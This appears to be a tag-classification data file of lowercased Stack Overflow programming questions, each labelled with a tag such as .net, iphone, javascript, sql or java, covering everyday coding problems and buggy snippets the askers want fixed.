intercepting link clicks using .net  i want to write a program that will intercept all click-at-link events from all over the system (most likely on the websites and inside e-mails) and instead of doing what would normally be done (opening a new tab in the current browser  or launching the default browser)  it does something else (displays a pop-up for the sake of the example). is this possible,.net
asp.net 4 navigation  hello i just deployed my web site to the remote server. i noticed that the menu (navigation) bar is doesn t display as on my local server. i am using visual studio 2010. the stylesheet was also deployed to my remote server. i am using the new asp.net 4 already designed navigation. it works find on my local machine but not on the remote machine. can someone help me,asp.net
is it possible for a running python program to overwrite itself   is it possible for a python script to open its own source file and overwrite it     the idea was to have a very simple and very dirty way for a python script to download an update of itself so that the next time it is run it would be an updated version.,python
how to play a nsdata in video player  i have written an async call to download a video of mp4 format. the response result is an nsdata. how can i open the nsdata in any video player framework which should be supported in ios 3.,iphone
scrollview changes as change orientation  i m creating app in which i used scrollview and insdie scrollview i used imageview to display images .but as i change the simulators orientation to landscape left/right the position of imageview and scrollview shifts towards left as the orientation increses while repeating same procedure  a stage comes where scrollview and imageview goes off to view . i used two views in a view one for portrait and other for landscape .i have to show diff. images for portrait mode and  landscpe mode so can anyone help me..thanks in advance .here is some sample code .   <pre><code>- (bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation  {     if(interfaceorientation==uiinterfaceorientationportrait ||interfaceorientation==uiinterfaceorientationportraitupsidedown)     {         return yes;     } else if(interfaceorientation==uiinterfaceorientationlandscapeleft ||interfaceorientation==uiinterfaceorientationlandscaperight)        {             return yes;          }     return yes; }  - (void)didrotatefrominterfaceorientation:(uiinterfaceorientation)frominterfaceorientation  {     uiinterfaceorientation orientation = [[uidevice currentdevice] orientation];      if(orientation==uiinterfaceorientationportrait || orientation==uiinterfaceorientationportraitupsidedown)     {cgrect frame=cgrectmake(0 45 320 480);         [sample_scroll_view setframe:frame];         sample_scroll_view.contentsize = cgsizemake(2560 275);         sample_scroll_view.pagingenabled=yes;         sample_scroll_view.autoresizingmask =         ( uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight);         sample_scroll_view.autoresizessubviews = yes; } else if (orientation==uiinterfaceorientationlandscapeleft || orientation==uiinterfaceorientationlandscaperight) { cgrect frame=cgrectmake(0 45 480 275);         [scroll_view2 setframe:frame];         scroll_view2.contentsize = cgsizemake(3140 275);         scroll_view2.maximumzoomscale = 4.0;         scroll_view2.minimumzoomscale = 0.75;         scroll_view2.bounces = no;         scroll_view2.pagingenabled=yes;     sample_scroll_view.autoresizingmask =     ( uiviewautoresizingflexiblewidth | uiviewautoresizingflexibleheight);     sample_scroll_view.autoresizessubviews = yes; } } </code></pre>,iphone
tracing log for user doing transaction  i want all of you help to create file log for tracing user transaction. i want to do that when a user wants to update or add some information  i want to trace which information that user was updated.     the tracing file that i want is easy read and search. even  it is in text file or xml file.    thanks  sopolin,.net
jquery/javascript drag and drop one parent to another  i ve been playing with jquery ui draggable and have been struggling with maintaining element position when dragging an element from one parent to the other.  as soon as move the element to another parent it s positioning is way off.  i then proceeded to workout the offset and applied it to the element and it worked very well until i started styling the page and then everything was even worse then before.    it appears to be a simple requirement so not sure if i m missing an obvious trick     apologies if the above isn t clear  quite difficult to explain it well.    thanks steve    ps. just the js code below  it s not pretty and some of the values i ve hard coded for now:   <pre><code>$(document).ready(function() {    makedraggable($( .draggable )); });  function makedraggable(el) {   var clone ;   var x = 0;   var y = 0;   $(el).draggable({     zindex: 1000      start:function() {       if($(this).parent().parent().attr( id ) ==  browser ) {         clone = $(this).clone();         makedraggable($(clone));         $(clone).css( position   absolute );         $(clone).css( z-index   0 );         $(this).parent().append($(clone));       } // end if     }      drag:function() {}      stop:function() {       if($(this).parent().parent().attr( id ) ==  browser ) {         var offset = 0;         var total_item_width = parseint($(this).css( padding-left ))+parseint($(this).css( padding-right ))+$(this).width();          $(clone).css( position   relative );         $( #canvas ).append($(this));          offset = ($( #canvas ).find( .draggable ).size()-1)*total_item_width;           $(this).css( left  parseint($(this).css( left ))+827-offset);          offset = ($( #canvas ).find( .draggable ).size()-1)*($(this).height()+12);         $(this).css( top  parseint($(this).position().top));       } // end if     }   }); } </code></pre>,jquery
polymorphic objects with static members  i have a class (myclass) which is a subclass of an abstract class. myclass has got static members. when i am deleting myclass objects the heap gets corrupt and i get all kinds of memory violation errors. why is that so  are the static members deleted or something    <pre><code>class cabstractclass { public:   cabstractclass();   virtual ~cabstractclass(); ... } </code></pre>   myclass with static member   <pre><code>class myclass : public abstractclass { public: static short    s_static; } </code></pre>   i am setting its value with myclass::s_static = 2 etc.    the static member is initialized in the .cpp file   <pre><code>short myclass::s_static=1; </code></pre>   now i ve got a list of abstract objects where i am adding instances of myclass (and other classes).   <pre><code>list&lt;cabstractclass*&gt;   *objectlist; myclass *myclassobj=new myclass(); objectlist-&gt;push_back(myclassobj); </code></pre>   this list is deleted like this   <pre><code>clearall() {     cabstractclass *object;     std::list&lt;cabstractclass*&gt;::iterator it;     for (it=this-&gt;objectlist-&gt;begin(); !(it==this-&gt;objectlist-&gt;end()); it++) {       object=*it;       if (object) delete object;      }      this-&gt;objectlist-&gt;clear(); } </code></pre>,c++
how to assign event in event listener for keyboard enter   i have to perform some actions when a user presses <kbd>enter</kbd> on a selected <code>&lt;li&gt;</code>. currently i am performing on click event as:   <pre><code>lilist[i].addeventlistener( click  gettext false); </code></pre>   i am calling the function <code>gettext</code> on <code>click</code> event. now i want to add keyboard enter event as well. how can i do this,jquery
sorting an array in objective-c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1684157/sorting-in-nsmutable-array >sorting in nsmutable array</a>    </blockquote>     i have 2 nsmutablearray array. i have to sort it. is there any function defined in objective-c for direct sort.    like    nsmutablearray *sortedarray_variable= (sorting method) array_variable;    where sorting method returns sorted array.,objective-c
accessing files in iphone  i am developing an application in ios 4.0  after having made several apps in symbian s60v3. where i am stuck in ios is that i want to access a file from the device which is saved from a third-party application to some location on the device.    in the case of symbian i knew its location: <code>system\data\xyz\alpha.inf</code>  but with ios i don t know how to access the location.,iphone
objective-c in out inout byref byval  .. and so on. what are they   i discovered something unfamiliar while reading objective-c manual for <code>@encoding</code>.   <pre><code>table 6-2  objective-c method encodings code meaning r    const n    in n    inout o    out o    bycopy r    byref v    oneway </code></pre>   the only thing i know is <code>oneway</code>. what are the others,objective-c
keeping the program on the main loop  i ve a simple program which does multiple conversions  but breaks out of the loop after every operation. how can tweak the program to return to the main loop after each function finishes execution.   <pre><code>#include &lt;iostream&gt; #define true 1  using namespace std;  int main(){      char *str = new char[25];      cout&lt;&lt;  what do you want to convert   &lt;&lt;endl;     cin&gt;&gt; str;      while (true){           if (strcasecmp(str   temperature ) == 0)         {             convert_temp(str);         }         if (strcasecmp(str   weight ) == 0)         {             convert_weight(str);         }         if (strcasecmp(str   distance ) == 0)         {             convert_distance(str);         }      }     return exit_success; }  void convert_temp(char* str){          cout&lt;&lt;  press 1 for c to f | press 2 for f to c  &lt;&lt;endl;             int temp = 0;             cin &gt;&gt; temp;             if(temp == 1){                 int c  f = 0;                 cout&lt;&lt;  enter the value  &lt;&lt;endl;                 cin &gt;&gt; c;                 f = (9/5)*c - 32;                 cout&lt;&lt;  the temperature is   &lt;&lt; f &lt;&lt;   degree f &lt;&lt; endl;             }else if (temp == 2){                 int c  f = 0;                 cout &lt;&lt;  enter the value &lt;&lt;endl;                 cin &gt;&gt; f;                 c = (f-32)*(5/9);                 cout &lt;&lt;  the temperature is   &lt;&lt; c &lt;&lt;    degree c &lt;&lt;endl;             }             break;  } void convert_weight(char* str){     cout&lt;&lt;  press 1 for pounds to kgs | press 2 for kgs to pounds  &lt;&lt;endl;             int temp = 0;             cin &gt;&gt; temp;             if(temp == 1){                 int k  p = 0;                 cout&lt;&lt;  enter the value  &lt;&lt;endl;                 cin &gt;&gt; p;                 k = p/2.2046;                 cout&lt;&lt;  your weight is   &lt;&lt; k &lt;&lt;   kgs &lt;&lt; endl;             }else if (temp == 2){                 int k  p = 0;                 cout &lt;&lt;  enter the value &lt;&lt;endl;                 cin &gt;&gt; k;                 p = k*2.2046;                 cout &lt;&lt;  your weight is   &lt;&lt; p &lt;&lt;    pounds &lt;&lt;endl;             }             break; }  void convert_distance(char* str){         cout&lt;&lt;  press 1 for km to miles | press 2 for miles to km  &lt;&lt;endl;             int temp = 0;             cin &gt;&gt; temp;             if(temp == 1){                 int k  m = 0;                 cout&lt;&lt;  enter the value  &lt;&lt;endl;                 cin &gt;&gt; k;                 m = 32*k;                 cout&lt;&lt;  the distance is   &lt;&lt; k &lt;&lt;   miles &lt;&lt; endl;             }else if (temp == 2){                 int k  m = 0;                 cout &lt;&lt;  enter the value &lt;&lt;endl;                 cin &gt;&gt; m;                 k = 10*m;                 cout &lt;&lt;  the distance is   &lt;&lt; k &lt;&lt;    kms &lt;&lt;endl;             }             break; } </code></pre>   my questions is thus how can i replace the break statement with a call to the main loop.i dont want to run the functions in a sequence inserting all of them into the main loop.,c++
is it possible to determine what language a .net assembly was written in   is there a method to determine the original language of a .net assembly if the source code is not available,.net
warning when view is obtained with its tag  i have made a custom scrollview newscrollview and added it as a subview to the cell. i am getting the following warning in the statement   <pre><code>newsscrollview=(uiscrollview)[cell.contentview viewwithtag:4]; </code></pre>   the warning say s incompatible pointer types assigning newscrollview*_strong from uiscrollview. i tried changing the uiscrollview to newsrollview but then the warning changes to error thanks in advance,ios
android custom listview  hi ive got a custom listview and im trying to start a new activity on a button click however an occur occurs when i try to set an intent   i guess this is because my custom array class does not extend activity. the buttons trigger an alarm to be set. is there any way i can get an intent to work in this class     below is my code for the class.   <pre><code>public class customarray extends arrayadapter&lt;string&gt; { satmain sm = new satmain();   int resource;  public customarray(context cont  int _resource  list&lt;string&gt; items) {     super(cont  _resource  items);     resource = _resource;  }  @override public view getview(int position  view convertview  viewgroup parent) {     relativelayout rl;      string prod = getitem(position);     if (convertview == null) {         rl = new relativelayout(getcontext());         layoutinflater vi = (layoutinflater) getcontext().getsystemservice(                 context.layout_inflater_service);         vi.inflate(resource  rl  true);     } else {         rl = (relativelayout) convertview;     }     textview t1 = (textview) rl.findviewbyid(r.id.text12);     t1.settext(prod);     final button b1 = (button) rl.findviewbyid(r.id.widget29);      b1.settext( efwrf );      if (position == 2) {          b1.setonclicklistener(new view.onclicklistener() {             public void onclick(view v) {                    intent intent = new intent(customarray.class  satmain.class);                     startactivity(intent);                   b1.settext( alarm set );                }         });      }      if (position == 0) {          b1.setonclicklistener(new view.onclicklistener() {             public void onclick(view v) {              }         });         b1.settext( number 0 );     }      return rl; } </code></pre>   },android
removing n items from a list conditionally  i was writing some <strong>asp.net</strong> control when i came to the scenario where i needed to remove items from a list  only when they matched a certain condition.    the <code>removeall</code> method of the generic <code>list</code> class does a good job  but removes <em>all</em> items that match the condition  specified by the predicate.    what if i want to only remove a certain number of items specifying the condition  what do you think is the best way to do this,.net
how to obfuscate an iphone app before being published into itunes  i am using cryptography concepts in my application. some encryption and decryption techniques and salt values are hard coded and iv values are using those techniques. before i publish the app i need to obfuscate to my code. i am using xcode 6.2 version with updated os. please share with me techniques about how to do it.,objective-c
c programming typing out a list that s modded out by 10  i am trying to work on a program where the user enters a random number and the program enters a list from 0 to 9.     for example  say that the user enters the number 12 then the screen should look like this:    0123456789012    where  2  at the end indicates the 12th number. i ve tried this but it gives me an infinite loop and i don t know how to tell it to stop:   <pre><code>for(i = 0; i &lt; cells; i++) { i = i%10; printf( %d   i); } </code></pre>   the cells here is the number that the user enters.,c
ruby on rails: including multiple instance variables in partials  so... i know about the <code>:locals =&gt; { :var1 =&gt; @rawr  :var2 =&gt; @hello }</code> syntax for partials<br> but is there a way for me to pass both <code>@rawr</code> and <code>@hello</code> to the partial  so that i don t need to use <code>var1</code> and <code>var2</code>,ruby-on-rails
how to assign functions in javascript   i m new to javascript and i just discovered the property keyword for defining functions for objects. i tried to refactor my websocket experiment using objects  but i can t get it to work.    this works (no objects):   <pre><code>var ws = new websocket(something  somethingelse); ws.onopen = function() {    ws.send( hello );    console.log( works ); } </code></pre>   but this doesn t:   <pre><code>function myobject() {    this.ws = new websocket(something  somethingelse);    this.ws.onopen = this.onopen; }  myobject.prototype.onopen = function() {     this.ws.send( hello );   // undefined! }; </code></pre>   why is ws undefined  am i assigning the onopen function incorrectly,javascript
bloomberg data in python using tia  i am new to python world but very experienced with matlab. after doing some research  i found out that tia is a versatile way to download bloomberg data in python.    so  i wrote the code below    <pre><code>from tia.bbg import localterminal import pandas as pd sec= [ hedj us equity    efa us equity ] resp = localterminal.get_reference_data(sec  [ px_last    px_open ]) resp.as_frame() </code></pre>   problem is - i think this function is sorting sec alphabetically. thus i see results like.   <pre><code>                px_last  px_open efa us equity     69.07    68.85 hedj us equity    65.22    64.89 </code></pre>   eevn though hedj came before in my list. this leads me to two questions -    a. how to is suppress sorting of sec in this case b. generally  if i have to look for optional arguments for a given inbuilt function in python  how do i do that     thanking python pr community.,python
how to split country code and phone number in java script  i have a number example this : - +91xxxxxxxxxx i want to split country code and mobile number.    the number is stored in a variable.  and i want to split the number from end. because i am only using those country whose phone number is 10 digit long. so i can count from last and split after 10 numbers. but how to do this. i don t know.     please help.,javascript
looking for a more efficient way to generate/print a  progress bar  in c++  i am working on some grid generation code  during which i really want to see where i am  so i download a piece of progress bar code from internet and then inserted it into my code  something like:   <pre><code>std::string bar;  for(int i = 0; i &lt; 50; i++) {     if( i &lt; (percent/2))     {         bar.replace(i 1  = );     }     else if( i == (percent/2))     {         bar.replace(i 1  &gt; );     }     else     {         bar.replace(i 1    );     } }  std::cout&lt;&lt;  \r   [  &lt;&lt; bar &lt;&lt;  ]  ; std::cout.width( 3 ); std::cout&lt;&lt; percent &lt;&lt;  %           &lt;&lt;   ieration:   &lt;&lt; iterationcycle &lt;&lt; std::flush; </code></pre>   this is very straightforward. however  it greatly slows down the whole process  note <code>percent=iteri/niter</code>.    i am really get annoyed with this  i am wondering if there is any smarter and more efficient way to print a progress bar to the screen.    thanks a million.,c++
square root method takes long time to execute first try  i have a java program where i m trying new algorithms for square rooting and comparing them to the native <code>math.sqrt(a)</code> method in java. what i find weird is that the first time the <code>.sqrt(a)</code> method is called in the program  it takes at least 50 000ns whereas the times after  it only takes a few thousand. does this have to do with how the system time is being calculated during the first few moments of running the program  or are the methods actually executing slower for some reason,java
writeline not producing expected result  this is my program:   <pre><code>using system; using static system.console;  class moveestimator {      static void main(string[] args)     {         const double base_rate = 250.00;         const double hour_rate = 150.00;         const double cost_mile = 2.00;         string amthoursasstring;         double amthours;         string nummilesasstring;         double nummiles;         double totalofmove;         write( enter amount of hours &gt;&gt;  );         amthoursasstring = readline();         amthours = convert.todouble(amthoursasstring);         write( enter number of miles &gt;&gt;  );         nummilesasstring = readline();         nummiles = convert.todouble(nummilesasstring);         totalofmove = (amthours * hour_rate) + (nummiles * cost_mile) + base_rate;          writeline(  your estimated move cost is   + totalofmove);         return;      }  } </code></pre>   it works for the input  but the program closes before it gives me the output.  i m new at this as you can tell.  i m learning it with a book so i just want an entry level answer so that i can work my way up.  i just need to know what is wrong with my writeline statement.  thank you so much in advance!,c#
java periodically returning the newest files in subdirectories into one array  i have a root folder  and it contains a number of sub-directories  and each sub-directory contains only xml files (no other directories).. i need to make a program that returns the newest files added in (in all of the sub-directories) to be able to send them to ftp subscribers..    what s the best way to do that       i am able to look through one directory and sort all its files but i don t know how to do it for multiple sub-directories..and i need only the newest files  if i return all the files it will slow down the program.    also  i need this program to be executed periodically  do i have to include this in the method it self  or create an other class for that,java
how to get first 2 non zero digits after decimal in javascript  i need to get the first 2 non zero digits from a decimal number. how can this be achieved     suppose i have number like 0.000235 then i need 0.00023  if the number is 0.000000025666 then my function should return 0.000000025.    can any one have an idea of how this can be achieved in javascript     the result should be a float number not a string.,javascript
php- refreshing a page that contains   var=value   i am developing a courier application using php and mysql and i have come across a minor bug. say  i have a page that adds a new shipment (add.php). upon filling the details and clicking on  submit  button in the form  addshipment.php is fired which contains the code to add the new shipment to the sql table. if the data is entered successfully  the following code will execute:   <pre><code>header( location:add.php add=success ); </code></pre>   thus  the add.php page will reload with the url <code> add.php add=success </code> with an alert box that will say that data has been inserted successfully. that alert box is executed via the following code at the bottom of the page:   <pre><code>if(isset($_get[ add ])) {     switch($_get[ add ])     {         case  invalid :             echo  &lt;script&gt;alert( please fill all the fields );&lt;/script&gt; ;             break;         case  fail :                     echo  &lt;script&gt;alert( your data was not inserted successfully );&lt;/script&gt; ;             break;         case  success :              echo  &lt;script&gt;alert( your data was added successfully );&lt;/script&gt; ;             break;     } } </code></pre>   works fine but every time i refresh the page i get the same alert box since the url still contains <code> add=success</code>. i wish the add.php page not to contain the values after data insertion but still display the alert message. any ideas     thanks,php
how to make the window close button to perform as quitting the program in object c   i am new to object c  and i m coding a mac app by object c. i just find that by default  the close window button  which is the green x button on the left corner  is only for closing the window frame. so how to make it actually quit the program when it is clicked  (i know that in java swing jframe  there s a method called default closing option.) btw  i m using nswindow as my main ui.,objective-c
how take value from matematic operation as string and modify in angular js   i have an array of string into html page with math operation like <code>[ 2   *   3   -   1 ]</code>  in html body i have used:   <pre><code>&lt;p&gt;{{$eval(expression)}}&lt;/p&gt; </code></pre>   in js    <pre><code> $scope.math = [];  $scope.expression = $scope.math.join(  ); </code></pre>   i need to take this value and modify into js  as example expression + 1 then show 6. i need to take the result 5 and sum to 1 thanks for answer.,angularjs
@#variable meaning in php   what is the meaning of <code>@#variable</code> in php     <pre><code>$fix=@#parts; </code></pre>,php
rails redirect or render to show errors  when a user makes an invalid create request for a resource  i want to send them back to the form and show them an error. as far as i can tell  calling <code>render  new </code> is the standard way to do it.    this seems like a bad idea to me  because the create request has taken the user to /resources  whereas my  new  form is otherwise at /resources/new. if i use <code>render  new </code>  the url in the address bar will not reflect what the user sees. if they make a get request there  they ll end up on a different page.    i thought i could solve this problem by using <code>redirect_to new_[resource]_path</code>  but if i do that i lose access to the form data and errors. surely this is not an uncommon problem. is there a better way to deal with it     i have the same problem with edit/update and other form/submit action pairs.,ruby-on-rails
how to display different format file with there thumbnails   i am trying to list all the files and folders from documentum repository(server). i have folder objectid and document objectid (getting from the server). i am using recycler view to list folders and documents. here i can do is add image view with the folder icon and any file icons and display it.    but i want to see like this image shown below  which have different file and have different thumbnails according to their extensions. i will retrieve this all files from the server.  <img src= https://i.stack.imgur.com/ezxiw.jpg  alt= want to display list like this with their thumbnails and options >,android
understanding syntax and how to pass an argument to a function with no argument list  this is a two-part question that has been plaguing me for days now.    1) can someone explain how the following example works     i m opening a form in sharepoint and capturing the user s response in a function called closecallback.  the examples i ve found don t indicate passing any arguments with the call.   <pre><code>options.dialogreturnvaluecallback = function.createdelegate(null  closecallback); </code></pre>   yet in the example i have  closecallback is defined as:   <pre><code>function closecallback(result  args) </code></pre>   how does this work   how can i call the function and not pass anything into it     2) how does one pass a value into closecallback   i have an id i want to pass in so closecallback can use it  but i m not sure how to get that value in.    this one s driving me batty  and i sure could use the assistance!,javascript
how to implement onbeforeunload behavior for a div   i posted recently regarding onbeforeunload implementation. its working now but that only solved half of the problem. my application has lot of tabs and i want to throw this same confirmation to user if he clicks on a new tab without saving changes. all the tabs are div elements. how do you implement something of this sort  sample tab structure is attached  where every tab loads a new page.<img src= https://i.stack.imgur.com/3ooqj.png  alt= enter image description here >,javascript
close window in javascript  i need a way to close the browser (not a pop up) using javascript. is it possible,javascript
asp.net get line number in source file  i would like to send with the trace.tracewarning also a line number stating where it came from in the source files. is there a macro/define for that in 3.5     thanks     teddy,asp.net
sql. stats users table by age range  i have a table with the date of birth of my platform users and i need to sort them by age ranges (18-25  25-35  etc) for a back-office stat project. they already are sorted by gender.    here is my code:   <pre><code>public function genrebyage() {           $date_day = new datetime();         $date_day = $date_day-&gt;format( y-m-d );           $sql =  select count(*)  as nb  id_thematique  dn                  from qr_thematique_preco q                  inner join users as u on u.id_user = q.id_membre                 where u.id_part =  $this-&gt;id_part                  and u.sexe =  $this-&gt;genre  ;          switch ($this-&gt;tranche_age) {              case 1:                  $sql .= and date_format(dn  %y-%m-%d ) &lt;= date_sub(curdate()  interval 18 year)                          and date_format(dn  %y-%m-%d ) &gt; date_sub(curdate()  interval 26 year);                  break;               case 2:                  $sql .= and dn &lt;= date_sub(curdate()  interval 26 year)                          and dn &gt; date_sub(curdate()  interval 36 year);                  break;               case 3:                  $sql .= and dn &lt;= date_sub(curdate()  interval 36 year)                          and dn &gt; date_sub(curdate()  interval 46 year);                  break;               case 4:                  $sql .= and dn &lt;= date_sub(curdate()  interval 46 year)                          and dn &gt; date_sub(curdate()  interval 56 year);                  break;               case 5:                  $sql .= and dn &lt;= date_sub(curdate()  interval 56 year)                          and dn &gt; date_sub(curdate()  interval 66 year);                  break; </code></pre>   but the query doesn t return anything with my data.    thanks for helping me out.,sql
java.util.nosuchelementexecption compilation error whilst using a scanner   i literally have no clue what is wrong here...    also the program you input 2 numbers and it creates a star box with x height and y width   <pre><code>import java.util.*;  public class nestedloops{     public static void main(string[] args){          scanner s = new scanner(system.in);          int height;         int width;          system.out.println( please input the height );             height = s.nextint();         system.out.println( please input the width );             width = s.nextint();               for ( int i = 0; i &lt; height; i++ ){                 for ( int j = 0; j &lt; width; j++ ){                     system.out.print(  *  ) ;                 }                     system.out.println(    ) ;             }       } } </code></pre>,java
jquery: syntax error (mm-menu)  after adding navbars lines into code below  code stopped working  what is wrong     console says:-   <blockquote>     uncaught syntaxerror: missing ) after argument list .  </blockquote>   could you please tell me  where i have to insert )       <a href= http://hostelsiiram.fi/  rel= nofollow noreferrer >my site.</a>   <pre class= lang-js prettyprint-override ><code>$( #main-menu ).mmenu({      extensions : [        pagedim-black          position-right          theme-dark      ]   }     navbars : [{      position :  top        type :  tabs        content : [        &lt;a href= #main-menu &gt;menu&lt;/a&gt;          &lt;a href= #languages &gt;language&lt;/a&gt;      ]   }]  {     // configuration     offcanvas: {       pageselector:  #my-page      }      clone: true   }); </code></pre>,jquery
how can i aappend input and label in div  i have a <code>form</code>. how can i append <code>input</code> and <code>label</code> elements in that <code>div</code>    <pre><code>&lt;form id= registration  action=   method= post  novalidate= novalidate &gt;     &lt;label for= id_email &gt;email:&lt;/label&gt;     &lt;input id= id_email  class= formcontrol  type= text  name= email  maxlength= 60 &gt;      &lt;label for= id_phone_number &gt;phone number:&lt;/label&gt;     &lt;input id= id_phone_number  class= formcontrol  type= text  name= phone_number  maxlength= 10 &gt;      &lt;label for= id_zip_code &gt;zip code:&lt;/label&gt;     &lt;input id= id_zip_code  class= formcontrol  type= text  name= zip_code  maxlength= 5 &gt;      &lt;label for= id_first_name &gt;name:&lt;/label&gt;     &lt;input id= id_first_name  class= formcontrol  type= text  name= first_name  maxlength= 255 &gt;      &lt;label for= id_last_name &gt;surname:&lt;/label&gt;     &lt;input id= id_last_name  class= formcontrol  type= text  name= last_name  maxlength= 255 &gt;      &lt;label for= id_password_reg &gt;password:&lt;/label&gt;     &lt;input id= id_password_reg  class= formcontrol  type= password  name= password &gt;      &lt;label for= id_confirmpassword &gt;confirm password:&lt;/label&gt;     &lt;input id= id_confirmpassword  class= formcontrol  type= password  name= confirmpassword &gt;      &lt;input class= btn btnprime btnblock  type= submit  value= send &gt; &lt;/form&gt; </code></pre>,jquery
calling data from 2 table & counting them  i have 2 tables containing different data. let me explain you both the table.    table - a id  val    table -b id  product    id is the common column between these two.     i want to find the  id  having a type of  val  from table a. i did that. i want to find the  product  of those  id  from table b. how do i do that  &amp; i want to find the total number of each products (like what we do using count).    can anybody please help,mysql
nsuserdefaults gets crash when setting enum object  as i have a enum object like this..   <pre><code>typedef ns_enum(nsuinteger  appstate) {  appstatenotenabled  appstatelocationenabledandconnectedtointernet  }; @property (nonatomic assign) appstate appstate; </code></pre>   i had made the object of enum and setting its values in nsuserdefaults   <pre><code>self.appstate = appstatelocationenabledandconnectedtointernet; [[nsuserdefaults standarduserdefaults] setobject:@(self.appstate) forkey:current_app_state]; </code></pre>   but it gets crashed like this   <pre><code>*** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  *** -[__nsplaceholderdictionary initwithobjects:forkeys:count:]: attempt to insert nil object from objects[6]   </code></pre>   what i m doing wrong please help,ios
"centrally align an absolute positioned div with whitespace:nowrap  i am dealing with an image caption in some outputted code that i can t alter but must style using css and i am having a hard time making the div with the caption get in the center.    the snippet below shows my predicament.  the midpoint of the sentence should align with the midpoint of the container (in this example it would represent a t shape).    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#container{
   width: 50px;
   height: 200px;
   background-color: grey;
   margin-left: 300px;
   position: relative;
 }
 #sentence{
   white-space: nowrap;
   background-color: lightblue;
   position: absolute;
 
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= container &gt;
   &lt;div id= sentence &gt;
     this is a sentence that stretched on a bit
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     is there a way to achieve this with css alone     i tried this:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#container{
   width: 50px;
   height: 200px;
   background-color: grey;
   margin-left: 300px;
   position: relative;
 }
 #sentence{
   white-space: nowrap;
   background-color: lightblue;
   position: absolute;
   left: -50%;
   right:-50%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= container &gt;
   &lt;div id= sentence &gt;
     this is a sentence that stretched on a bit
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     but the sentence div is re-sized to what it would be without the <code>nowrap</code>.",css
contextclassloader not hooking  i m trying to define a custom classloader.     <pre><code>public class exampleloader extends classloader {     public class&lt; &gt; findclass(string name) throws classnotfoundexception     {         system.out.println( this never gets printed );         return super.findclass(name);     }      public class&lt; &gt; loadclass(string name  boolean b)         throws classnotfoundexception     {         system.out.println( this never gets printed );         return super.loadclass(name  b);     } } </code></pre>   and of course my code to test it:    <pre><code>public class tester {     public static void main(string[] args)     {         thread t = new foothread();         t.setcontextclassloader(new exampleloader());         t.start();     } }  class foothread extends thread {     public void run()     {         new randomclass();     } } </code></pre>   the problem is that my lines never get printed.  clearly i m missing something.,java
python list index out of range  a 6000 element list  i have a 6000+ elements list (called area_num) to work with. my code looks like:   <pre><code>    #----------------------------------------------------------------------------     def getbusinfo_areaname(area_num):       area_name=[]        for i in range(0 totalbusnumber) :            area_name[0][i]= areanamelist[0][area_num[0][i]]      return area_name    #----------------------------------------------------------------------------    area_name=getbusinfo_areaname(area_num) </code></pre>   and areanamelist will be [[a b c d e f]] include only 6 elements. i need the area name if i know the area number. each object has area number and area name as its attributes.    information:     totalbusnumber=6000+    area_num[0] has 6000+ elements    please give me some idea why pyhton always complain  list index out of range...     thank you all!,python
flikr api+iphone+for geting photos and latitude/longitude of that photos  i want to use the flikr api.  in which i can pass current latitude -longitude and can get the photos and latitude and longitude of that photos.    please help me..if flikr is providing any such url then.. and also please help me if anyone had any knowledge of other such kind of api    thanks,iphone
sql join with the same table  i am trying to query in sql and i can not resolve it. i have a table <strong><code>tcliente</code></strong>:    <a href= https://i.stack.imgur.com/gxuqq.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/gxuqq.png  alt= enter image description here ></a>    what i want to do is a join with the same table to find each pair of clients that lives in the same city.    i try to do this:   <pre><code>select distinct c.codiclien  c.nombreclien  c1.codiclien  c1.nombreclien  c.ciudadclien from tcliente c inner join tcliente c1 on c.ciudadclien = c1.ciudadclien </code></pre>   and get this:    <a href= https://i.stack.imgur.com/uv9mj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uv9mj.png  alt= enter image description here ></a>    but i should get <strong>this:</strong>    <a href= https://i.stack.imgur.com/ahkwt.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ahkwt.png  alt= enter image description here ></a>    i know i have to filter data  but i have tried many things and i can not find the solution. also  i tried to use <strong><code>group by</code></strong> but it is not possible. i wanted to group by <strong>pair</strong>  that is  something like this:   <pre><code>... group by c.codiclien  c1.codiclien </code></pre>   but in doing so i get errors in the query. could someone please help me  thanks    <strong>note:</strong> when using <strong><code>on</code></strong> in the <strong><code>inner join</code></strong>  i would like to know if it is  possible  to do that or should not do it  because the usual thing is to do <code>tb1.id = tb2.id</code>,sql
.net event when laptop is going into suspend mode   is there anyway to get a handle to when a laptop is going into suspend mode and do something before it actually goes into suspend mode       i assume this is not easy/possible because it would be ill-advised for the power management to honor any such software that was trying to stop it from going into suspend mode.    the specific use is to have a tray app notify fogbugz to stop work when i close my laptop lid.,.net
config file - server path reference  i have a solution with 2 projects  a web project and a class library.     from the web project i m making a call to a function in the class library. this class library makes a call to sk.config file within the class library:   <pre><code>return httpcontext.current.server.mappath( ./ ) +  \\sk.config ; } </code></pre>   and it throws an error because is trying to look for it in the web project.    a solution would be to copy the sk.config file into the web project  but is there a way i can avoid copying this file twice,.net
capture the layout of a java program  how do i capture a portion of the gui displayed by a java program. my program generates certain graphs based on user input  which need to be captured. i need to provide a button on the gui to save the graph as an image file.,java
accessing client s file system  can a web application access a file on client side     here s my scenario  i have a web service  which when called  stores the files in my content management server. currently  i am storing the file in the server where my application is hosted and then reading the file content as my web service accepts file content in bytes  and then calling the service to host the file. long story short  if a 2mb file takes 2 minutes to be stored on the server  it is taking 4 minutes now. can i access the file from client s machine directly rather storing it in the server and then reading it      i have gone through some previous posts: html5 file object - not supported in ie6 which is mandatory for me if a javascript function is used to read the file content  i still have to post back to the server to call the service is windows script host the answer for this  cause i have gone through some references  it doesnt seem so.,.net
